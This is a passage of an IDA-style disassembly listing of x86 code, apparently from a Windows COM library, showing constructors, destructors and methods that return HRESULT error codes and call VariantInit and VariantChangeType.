sub_69B4582F proc near ; CODE XREF: sub_69B45B61+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B990B4
push off_69B990B8
lea ecx, [esi+0Ch]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B4582F endp
; =============== S U B R O U T I N E =======================================
sub_69B45851 proc near ; DATA XREF: .text:off_69B14D34o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B45870
test [esp+4+arg_0], 1
jz short loc_69B45869
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B45869: ; CODE XREF: sub_69B45851+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B45851 endp
; =============== S U B R O U T I N E =======================================
sub_69B45870 proc near ; CODE XREF: sub_69B45851+3p
mov eax, ecx
lea ecx, [eax-4]
neg ecx
sbb ecx, ecx
and ecx, eax
jmp loc_69B88066
sub_69B45870 endp
; =============== S U B R O U T I N E =======================================
sub_69B45880 proc near ; CODE XREF: sub_69B14D48+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset dword_69B2B0D0
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B45880 endp
; =============== S U B R O U T I N E =======================================
sub_69B4589A proc near ; DATA XREF: .text:off_69B1DF64o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B458B9
test [esp+4+arg_0], 1
jz short loc_69B458B2
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B458B2: ; CODE XREF: sub_69B4589A+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B4589A endp
; =============== S U B R O U T I N E =======================================
sub_69B458B9 proc near ; CODE XREF: sub_69B4589A+3p
mov eax, ecx
lea ecx, [eax-0Ch]
neg ecx
sbb ecx, ecx
and ecx, eax
jmp loc_69B88066
sub_69B458B9 endp
; =============== S U B R O U T I N E =======================================
sub_69B458C9 proc near ; DATA XREF: .text:69B1DF70o
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B18E72
sub_69B458C9 endp
; =============== S U B R O U T I N E =======================================
sub_69B458D3 proc near ; CODE XREF: sub_69B1C04C+8277p
; sub_69B4595B+86p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B457EC
mov ecx, [esp+4+arg_0]
mov dword ptr [esi], offset off_69B12608
mov dword ptr [esi+4], offset off_69B28084
mov dword ptr [esi+0Ch], offset off_69B2807C
call sub_69B1DE55
mov eax, esi
pop esi
retn 4
sub_69B458D3 endp
; =============== S U B R O U T I N E =======================================
sub_69B45902 proc near ; DATA XREF: .text:off_69B2807Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B44884
test [esp+4+arg_0], 1
jz short loc_69B4591A
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B4591A: ; CODE XREF: sub_69B45902+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B45902 endp
; ---------------------------------------------------------------------------
loc_69B45921: ; DATA XREF: .text:off_69B1E070o
push esi
mov esi, ecx
call sub_69B45940
test byte ptr [esp+8], 1
jz short loc_69B45939
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B45939: ; CODE XREF: .text:69B4592Ej
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B45940 proc near ; CODE XREF: .text:69B45924p
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
add esi, 0Ch
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B45940 endp
; =============== S U B R O U T I N E =======================================
sub_69B4595B proc near ; DATA XREF: .text:69B1262Co
push 2Ch
push offset dword_69B45A40
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B4597A
mov eax, 80070057h
jmp loc_69B45A35
; ---------------------------------------------------------------------------
loc_69B4597A: ; CODE XREF: sub_69B4595B+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B45993
mov eax, 80004005h
jmp loc_69B45A35
; ---------------------------------------------------------------------------
loc_69B45993: ; CODE XREF: sub_69B4595B+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-30h], ecx
mov eax, [ecx]
call dword ptr [eax+64h]
mov esi, eax
mov [ebp-34h], esi
cmp esi, ebx
jz short loc_69B459EE
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, 3
jz short loc_69B459EE
push 1Ch
call sub_69B1D897
mov ecx, eax
mov [ebp-38h], ecx
test ecx, ecx
jz short loc_69B459E8
push esi
call sub_69B458D3
jmp short loc_69B459EA
; ---------------------------------------------------------------------------
loc_69B459E8: ; CODE XREF: sub_69B4595B+83j
xor eax, eax
loc_69B459EA: ; CODE XREF: sub_69B4595B+8Bj
mov [edi], eax
jmp short loc_69B45A16
; ---------------------------------------------------------------------------
loc_69B459EE: ; CODE XREF: sub_69B4595B+67j
; sub_69B4595B+73j
xor ebx, ebx
inc ebx
mov [ebp-3Ch], ebx
jmp short loc_69B45A16
; ---------------------------------------------------------------------------
loc_69B459F6: ; DATA XREF: .text:69B45A44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B459FF: ; DATA XREF: .text:69B45A48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B45A16: ; CODE XREF: sub_69B4595B+91j
; sub_69B4595B+99j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B45A35: ; CODE XREF: sub_69B4595B+1Aj
; sub_69B4595B+33j
call sub_69B1853C
retn 8
sub_69B4595B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B45A40 dd 0FFFFFFFFh dd offset loc_69B459F6
dd offset loc_69B459FF
; =============== S U B R O U T I N E =======================================
sub_69B45A4C proc near ; CODE XREF: sub_69B45B21+Ep
push esi
mov esi, ecx
call sub_69B4580E
mov dword ptr [esi], offset off_69B1267C
mov dword ptr [esi+4], offset off_69B280A8
mov dword ptr [esi+0Ch], offset off_69B280A4
mov dword ptr [esi+18h], offset off_69B28094
and dword ptr [esi+1Ch], 0
and dword ptr [esi+20h], 0
mov eax, esi
pop esi
retn
sub_69B45A4C endp
; =============== S U B R O U T I N E =======================================
sub_69B45A7B proc near ; DATA XREF: .text:69B2809Co
arg_0 = dword ptr 4
push esi
mov esi, [ecx+4]
mov ecx, [esp+4+arg_0]
test ecx, ecx
jz short loc_69B45A97
mov eax, [ecx]
call dword ptr [eax+0F4h]
cmp esi, eax
jz short loc_69B45A97
xor eax, eax
jmp short loc_69B45A9A
; ---------------------------------------------------------------------------
loc_69B45A97: ; CODE XREF: sub_69B45A7B+Aj
; sub_69B45A7B+16j
xor eax, eax
inc eax
loc_69B45A9A: ; CODE XREF: sub_69B45A7B+1Aj
pop esi
retn 4
sub_69B45A7B endp
; ---------------------------------------------------------------------------
loc_69B45A9E: ; DATA XREF: .text:off_69B280A8o
sub dword ptr [esp+4], 4
jmp sub_69B43F50
; ---------------------------------------------------------------------------
loc_69B45AA8: ; DATA XREF: .text:69B28098o
add ecx, 0FFFFFFE8h
jmp loc_69B44054
; ---------------------------------------------------------------------------
loc_69B45AB0: ; DATA XREF: .text:off_69B280A4o
push esi
mov esi, ecx
call sub_69B45ACF
test byte ptr [esp+8], 1
jz short loc_69B45AC8
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B45AC8: ; CODE XREF: .text:69B45ABDj
lea eax, [esi-0Ch]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B45ACF proc near ; CODE XREF: .text:69B45AB3p
push esi
mov esi, ecx
push edi
push 0
lea edi, [esi+10h]
push edi
mov dword ptr [esi-0Ch], offset off_69B1267C
mov dword ptr [esi-8], offset off_69B280A8
mov dword ptr [esi], offset off_69B280A4
mov dword ptr [esi+0Ch], offset off_69B28094
call sub_69B17320
push 0
add esi, 14h
push esi
call sub_69B17320
push esi
call sub_69B17230
push edi
call sub_69B17230
pop edi
pop esi
jmp sub_69B2C65C
sub_69B45ACF endp
; =============== S U B R O U T I N E =======================================
sub_69B45B17 proc near ; DATA XREF: .text:69B280A0o
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B45514
sub_69B45B17 endp
; =============== S U B R O U T I N E =======================================
sub_69B45B21 proc near ; CODE XREF: sub_69B45EDC+77p
; sub_69B45FDC+7Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
push 28h
call sub_69B1D897
test eax, eax
jz short loc_69B45B38
mov ecx, eax
call sub_69B45A4C
mov esi, eax
jmp short loc_69B45B3A
; ---------------------------------------------------------------------------
loc_69B45B38: ; CODE XREF: sub_69B45B21+Aj
xor esi, esi
loc_69B45B3A: ; CODE XREF: sub_69B45B21+15j
push [esp+4+arg_0]
lea eax, [esi+1Ch]
push eax
call sub_69B17320
push [esp+4+arg_4]
lea eax, [esi+20h]
push eax
call sub_69B17320
mov al, [esp+4+arg_8]
mov [esi+24h], al
mov eax, esi
pop esi
retn 0Ch
sub_69B45B21 endp
; =============== S U B R O U T I N E =======================================
sub_69B45B61 proc near ; CODE XREF: sub_69B1C04C+8258p
; sub_69B460C4+17Cp ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B4582F
mov ecx, [esp+4+arg_0]
mov dword ptr [esi], offset off_69B12658
mov dword ptr [esi+4], offset off_69B28084
mov dword ptr [esi+0Ch], offset off_69B28080
call sub_69B1DE55
mov eax, esi
pop esi
retn 4
sub_69B45B61 endp
; =============== S U B R O U T I N E =======================================
sub_69B45B90 proc near ; DATA XREF: .text:off_69B28080o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B455FC
test [esp+4+arg_0], 1
jz short loc_69B45BA8
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B45BA8: ; CODE XREF: sub_69B45B90+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B45B90 endp
; =============== S U B R O U T I N E =======================================
sub_69B45BAF proc near ; CODE XREF: sub_69B79EA1+5Dp
; DATA XREF: .text:off_69B14CACo ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
lea ecx, [eax+4]
push eax
call sub_69B8803B
retn 0Ch
sub_69B45BAF endp
; =============== S U B R O U T I N E =======================================
sub_69B45BC7 proc near ; CODE XREF: .text:69B6A12Bp
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
lea ecx, [esi-4]
neg ecx
sbb ecx, ecx
and ecx, esi
pop esi
jmp loc_69B88066
sub_69B45BC7 endp
; =============== S U B R O U T I N E =======================================
sub_69B45BE2 proc near ; DATA XREF: .text:69B1DF94o
push 3Ch
push offset dword_69B45CC8
call sub_69B19C5C
mov ebx, [ebp+0Ch]
xor edi, edi
cmp ebx, edi
jnz short loc_69B45C01
mov eax, 80070057h
jmp loc_69B45CBF
; ---------------------------------------------------------------------------
loc_69B45C01: ; CODE XREF: sub_69B45BE2+13j
mov [ebx], edi
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, edi
jnz short loc_69B45C1A
mov eax, 80004005h
jmp loc_69B45CBF
; ---------------------------------------------------------------------------
loc_69B45C1A: ; CODE XREF: sub_69B45BE2+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-30h], edi
mov [ebp-4], edi
mov esi, [esi+18h]
mov eax, esi
mov [ebp-34h], eax
mov eax, [eax+6Ch]
mov [ebp-38h], eax
cmp eax, edi
jz short loc_69B45C58
mov [ebp-3Ch], esi
mov ecx, [esi+6Ch]
mov [ebp-40h], ecx
call sub_69B2E804
mov [ebp-30h], eax
cmp eax, edi
jl short loc_69B45CA7
jmp short loc_69B45C6B
; ---------------------------------------------------------------------------
loc_69B45C58: ; CODE XREF: sub_69B45BE2+5Dj
mov [ebp-44h], esi
mov ecx, esi
call sub_69B3D6C4
mov [ebp-48h], eax
cmp eax, edi
jnz short loc_69B45C74
mov [ebx], edi
loc_69B45C6B: ; CODE XREF: sub_69B45BE2+74j
mov dword ptr [ebp-30h], 80004005h
jmp short loc_69B45CA7
; ---------------------------------------------------------------------------
loc_69B45C74: ; CODE XREF: sub_69B45BE2+85j
push 1Ch
call sub_69B1D897
mov ecx, eax
mov [ebp-4Ch], ecx
cmp ecx, edi
jz short loc_69B45C8E
push dword ptr [ebp-48h]
call sub_69B458D3
jmp short loc_69B45C90
; ---------------------------------------------------------------------------
loc_69B45C8E: ; CODE XREF: sub_69B45BE2+A0j
xor eax, eax
loc_69B45C90: ; CODE XREF: sub_69B45BE2+AAj
mov [ebx], eax
jmp short loc_69B45CA7
; ---------------------------------------------------------------------------
loc_69B45C94: ; DATA XREF: .text:69B45CCCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B45C9D: ; DATA XREF: .text:69B45CD0o
mov esp, [ebp-18h]
mov dword ptr [ebp-30h], 1
loc_69B45CA7: ; CODE XREF: sub_69B45BE2+72j
; sub_69B45BE2+90j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B45CBF: ; CODE XREF: sub_69B45BE2+1Aj
; sub_69B45BE2+33j
call sub_69B1853C
retn 8
sub_69B45BE2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B45CC8 dd 0FFFFFFFFh dd offset loc_69B45C94
dd offset loc_69B45C9D
; =============== S U B R O U T I N E =======================================
sub_69B45CD4 proc near ; DATA XREF: .text:69B1DFC8o
push 68h
push offset dword_69B45E78
call sub_69B19C5C
xor ebx, ebx
mov eax, [ebp+2Ch]
cmp eax, ebx
jnz short loc_69B45CF3
mov eax, 80070057h
jmp loc_69B45E69
; ---------------------------------------------------------------------------
loc_69B45CF3: ; CODE XREF: sub_69B45CD4+13j
mov [eax], ebx
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
cmp edi, ebx
jnz short loc_69B45D0E
mov eax, 80004005h
jmp loc_69B45E69
; ---------------------------------------------------------------------------
loc_69B45D0E: ; CODE XREF: sub_69B45CD4+2Ej
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
lea eax, [ebp-3Ch]
push eax ; pvarg
call VariantInit
push 3 ; vt
push ebx ; wFlags
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-3Ch]
push eax ; pvargDest
call VariantChangeType
mov [ebp-40h], eax
cmp eax, ebx
jnz short loc_69B45D5E
mov ecx, [ebp-34h]
mov [ebp-44h], ecx
cmp ecx, 6
jl short loc_69B45D59
mov dword ptr [ebp-40h], 80004001h
jmp loc_69B45E51
; ---------------------------------------------------------------------------
loc_69B45D59: ; CODE XREF: sub_69B45CD4+77j
cmp ecx, 3
jnz short loc_69B45D6A
loc_69B45D5E: ; CODE XREF: sub_69B45CD4+6Cj
mov dword ptr [ebp-40h], 80070057h
jmp loc_69B45E51
; ---------------------------------------------------------------------------
loc_69B45D6A: ; CODE XREF: sub_69B45CD4+88j
mov [ebp-48h], ebx
cmp word ptr [ebp+1Ch], 8
jnz short loc_69B45DD6
mov eax, [ebp+24h]
mov [ebp-4Ch], eax
cmp eax, ebx
jz short loc_69B45DD6
cmp ecx, 1
jz loc_69B45E08
cmp ecx, 2
jz short loc_69B45E08
push eax ; lpString
call sub_69B1A587
mov [ebp-50h], eax
mov eax, [esi+18h]
mov edi, eax
mov [ebp-54h], edi
mov cl, [edi+7Ch]
mov [ebp-55h], cl
push ebx
push ebx
push ebx
cmp cl, bl
jz short loc_69B45DC0
mov [ebp-5Ch], eax
mov edi, [eax+70h]
mov [ebp-60h], edi
mov ecx, [ebp-50h]
call sub_69B2F266
push eax
mov ecx, edi
jmp short loc_69B45DCE
; ---------------------------------------------------------------------------
loc_69B45DC0: ; CODE XREF: sub_69B45CD4+D4j
mov [ebp-64h], eax
mov eax, [eax+70h]
mov [ebp-68h], eax
push dword ptr [ebp-50h]
mov ecx, eax
loc_69B45DCE: ; CODE XREF: sub_69B45CD4+EAj
call sub_69B4D7A3
mov [ebp-48h], eax
loc_69B45DD6: ; CODE XREF: sub_69B45CD4+9Ej
; sub_69B45CD4+A8j
mov ecx, [esi+18h]
mov [ebp-70h], ecx
push 1
push ebx
push ebx
push dword ptr [ebp-48h]
push dword ptr [ebp-44h]
call sub_69B3D2F2
mov [ebp-74h], eax
push 1Ch
call sub_69B1D897
mov [ebp-78h], eax
cmp eax, ebx
jz short loc_69B45E27
push dword ptr [ebp-74h]
mov ecx, eax
call sub_69B458D3
jmp short loc_69B45E29
; ---------------------------------------------------------------------------
loc_69B45E08: ; CODE XREF: sub_69B45CD4+ADj
; sub_69B45CD4+B6j
mov esi, 80070057h
mov [ebp-6Ch], esi
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push edi
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, esi
jmp short loc_69B45E69
; ---------------------------------------------------------------------------
loc_69B45E27: ; CODE XREF: sub_69B45CD4+126j
xor eax, eax
loc_69B45E29: ; CODE XREF: sub_69B45CD4+132j
mov ecx, [ebp+2Ch]
mov [ecx], eax
jmp short loc_69B45E51
; ---------------------------------------------------------------------------
loc_69B45E30: ; DATA XREF: .text:69B45E7Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B45E39: ; DATA XREF: .text:69B45E80o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-40h], eax
loc_69B45E51: ; CODE XREF: sub_69B45CD4+80j
; sub_69B45CD4+91j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-40h]
loc_69B45E69: ; CODE XREF: sub_69B45CD4+1Aj
; sub_69B45CD4+35j ...
call sub_69B1853C
retn 28h
sub_69B45CD4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B45E78 dd 0FFFFFFFFh dd offset loc_69B45E30
dd offset loc_69B45E39
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B45E84 proc near ; CODE XREF: .text:69B4636Ej
; DATA XREF: .text:off_69B12608o ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B45E9E
mov eax, 80004005h
jmp short loc_69B45ED7
; ---------------------------------------------------------------------------
loc_69B45E9E: ; CODE XREF: sub_69B45E84+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_C]
push ebx
call sub_69B1B406
push [ebp+arg_8]
mov ecx, [esi+18h]
push [ebp+arg_4]
push esi
push 0
push 0
push 0
call sub_69B1C04C
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, esi
pop esi
loc_69B45ED7: ; CODE XREF: sub_69B45E84+18j
pop ebx
leave
retn 0Ch
sub_69B45E84 endp
; =============== S U B R O U T I N E =======================================
sub_69B45EDC proc near ; DATA XREF: .text:69B1263Co
push 30h
push offset dword_69B45FD0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B45EFB
mov eax, 80070057h
jmp loc_69B45FC3
; ---------------------------------------------------------------------------
loc_69B45EFB: ; CODE XREF: sub_69B45EDC+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B45F14
mov eax, 80004005h
jmp loc_69B45FC3
; ---------------------------------------------------------------------------
loc_69B45F14: ; CODE XREF: sub_69B45EDC+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], ebx
push dword ptr [esi+18h]
lea ecx, [ebp-30h]
call sub_69B44112
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-34h], ecx
mov eax, [ecx]
lea edx, [ebp-38h]
push edx
call dword ptr [eax+68h]
mov [ebp-3Ch], eax
cmp eax, ebx
jz short loc_69B45F5C
mov esi, [esi+18h]
mov [ebp-40h], esi
push ebx
push ebx
push esi
call sub_69B45B21
mov [edi], eax
jmp short loc_69B45F65
; ---------------------------------------------------------------------------
loc_69B45F5C: ; CODE XREF: sub_69B45EDC+6Cj
mov [edi], ebx
mov dword ptr [ebp-2Ch], 1
loc_69B45F65: ; CODE XREF: sub_69B45EDC+7Ej
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B45F95
; ---------------------------------------------------------------------------
loc_69B45F6B: ; DATA XREF: .text:69B45FD4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B45F74: ; DATA XREF: .text:69B45FD8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
mov edi, [ebp+0Ch]
loc_69B45F95: ; CODE XREF: sub_69B45EDC+8Dj
cmp dword ptr [ebp-2Ch], 8000000Ah
jnz short loc_69B45FA7
mov dword ptr [ebp-2Ch], 1
mov [edi], ebx
loc_69B45FA7: ; CODE XREF: sub_69B45EDC+C0j
lea ecx, [ebp-30h]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B45FC3: ; CODE XREF: sub_69B45EDC+1Aj
; sub_69B45EDC+33j
call sub_69B1853C
retn 8
sub_69B45EDC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B45FD0 dd 0FFFFFFFFh dd offset loc_69B45F6B
dd offset loc_69B45F74
; =============== S U B R O U T I N E =======================================
sub_69B45FDC proc near ; DATA XREF: .text:69B12654o
push 30h
push offset dword_69B460B8
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B45FFB
mov eax, 80070057h
jmp loc_69B460AC
; ---------------------------------------------------------------------------
loc_69B45FFB: ; CODE XREF: sub_69B45FDC+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B46014
mov eax, 80004005h
jmp loc_69B460AC
; ---------------------------------------------------------------------------
loc_69B46014: ; CODE XREF: sub_69B45FDC+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], ebx
push dword ptr [esi+18h]
lea ecx, [ebp-30h]
call sub_69B44112
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-34h], ecx
mov eax, [ecx]
lea edx, [ebp-38h]
push edx
call dword ptr [eax+9Ch]
mov [ebp-3Ch], eax
cmp eax, ebx
jz short loc_69B46060
mov esi, [esi+18h]
mov [ebp-40h], esi
push 1
push ebx
push esi
call sub_69B45B21
mov [edi], eax
jmp short loc_69B4608C
; ---------------------------------------------------------------------------
loc_69B46060: ; CODE XREF: sub_69B45FDC+6Fj
mov [edi], ebx
mov dword ptr [ebp-2Ch], 1
jmp short loc_69B4608C
; ---------------------------------------------------------------------------
loc_69B4606B: ; DATA XREF: .text:69B460BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B46074: ; DATA XREF: .text:69B460C0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B4608C: ; CODE XREF: sub_69B45FDC+82j
; sub_69B45FDC+8Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B460AC: ; CODE XREF: sub_69B45FDC+1Aj
; sub_69B45FDC+33j
call sub_69B1853C
retn 8
sub_69B45FDC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B460B8 dd 0FFFFFFFFh dd offset loc_69B4606B
dd offset loc_69B46074
; =============== S U B R O U T I N E =======================================
sub_69B460C4 proc near ; DATA XREF: .text:69B126A4o
push 58h
push offset dword_69B46320
call sub_69B19C5C
mov eax, [ebp+2Ch]
xor esi, esi
cmp eax, esi
jnz short loc_69B460E3
mov eax, 80070057h
jmp loc_69B46315
; ---------------------------------------------------------------------------
loc_69B460E3: ; CODE XREF: sub_69B460C4+13j
mov [eax], esi
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, esi
jnz short loc_69B460FC
mov eax, 80004005h
jmp loc_69B46315
; ---------------------------------------------------------------------------
loc_69B460FC: ; CODE XREF: sub_69B460C4+2Cj
mov ebx, [ebp+8]
push dword ptr [ebx+1Ch]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], esi
push dword ptr [ebx+1Ch]
lea ecx, [ebp-30h]
call sub_69B44112
mov [ebp-4], esi
mov [ebp-34h], esi
or dword ptr [ebp-38h], 0FFFFFFFFh
mov [ebp-3Ch], esi
mov [ebp-40h], esi
mov [ebp-44h], esi
mov eax, [ebx+1Ch]
mov [ebp-48h], eax
lea eax, [ebp-34h]
push eax ; int
lea eax, [ebp-38h]
push eax ; int
sub esp, 10h
lea esi, [ebp+1Ch]
mov edi, esp
movsd
movsd
movsd
movsd
sub esp, 10h
lea esi, [ebp+0Ch]
mov edi, esp
movsd
movsd
movsd
movsd
call sub_69B43EA1
xor edi, edi
cmp [ebp-34h], edi
jz loc_69B46247
mov ecx, [ebx+1Ch]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov [ebp-4Ch], eax
cmp eax, edi
jz short loc_69B46195
mov al, [eax+7Ch]
mov [ebp-4Dh], al
test al, al
jz short loc_69B46195
push dword ptr [ebp-34h] ; lpString
call sub_69B1A587
mov ecx, eax
call sub_69B2F266
push eax
call sub_69B1A2EC
jmp short loc_69B4619D
; ---------------------------------------------------------------------------
loc_69B46195: ; CODE XREF: sub_69B460C4+AEj
; sub_69B460C4+B8j
push dword ptr [ebp-34h] ; lpString
call sub_69B11E05
loc_69B4619D: ; CODE XREF: sub_69B460C4+CFj
mov [ebp-54h], eax
cmp [ebp-38h], edi
jge short loc_69B461F5
push eax
lea eax, [ebp-40h]
push eax
push dword ptr [ebp-48h]
mov ecx, ebx
call sub_69B43E7F
mov esi, eax
mov [ebp-58h], esi
cmp esi, edi
jz loc_69B462AB
push dword ptr [ebp-54h]
lea eax, [ebp-40h]
push eax
push dword ptr [ebp-48h]
mov ecx, ebx
call sub_69B43E7F
test eax, eax
jz short loc_69B4621E
mov eax, [ebx+1Ch]
mov [ebp-5Ch], eax
xor ecx, ecx
mov cl, [ebx+24h]
push ecx
push dword ptr [ebp-54h]
push eax
call sub_69B45B21
loc_69B461EB: ; CODE XREF: sub_69B460C4+181j
; sub_69B460C4+1C9j ...
mov ecx, [ebp+2Ch]
mov [ecx], eax
jmp loc_69B462B2
; ---------------------------------------------------------------------------
loc_69B461F5: ; CODE XREF: sub_69B460C4+DFj
; sub_69B460C4+158j
push dword ptr [ebp-54h]
lea eax, [ebp-40h]
push eax
push dword ptr [ebp-48h]
mov ecx, ebx
call sub_69B43E7F
mov esi, eax
mov [ebp-58h], esi
cmp esi, edi
jz loc_69B462AB
mov eax, [ebp-44h]
inc dword ptr [ebp-44h]
cmp [ebp-38h], eax
jnz short loc_69B461F5
loc_69B4621E: ; CODE XREF: sub_69B460C4+110j
cmp esi, edi
jz loc_69B462AB
loc_69B46226: ; CODE XREF: sub_69B460C4+1BCj
mov [ebp-3Ch], esi
push 1Ch
cmp byte ptr [ebx+24h], 0
jz short loc_69B46292
call sub_69B1D897
mov [ebp-64h], eax
cmp eax, edi
jz short loc_69B4628B
push esi
mov ecx, eax
call sub_69B45B61
jmp short loc_69B461EB
; ---------------------------------------------------------------------------
loc_69B46247: ; CODE XREF: sub_69B460C4+98j
cmp [ebp-38h], edi
jge short loc_69B46255
mov dword ptr [ebp-2Ch], 80070057h
jmp short loc_69B462B2
; ---------------------------------------------------------------------------
loc_69B46255: ; CODE XREF: sub_69B460C4+186j
; sub_69B460C4+1B8j
mov eax, [ebx+20h]
mov [ebp-60h], eax
push eax
lea eax, [ebp-40h]
push eax
push dword ptr [ebp-48h]
mov ecx, ebx
call sub_69B43E7F
mov esi, eax
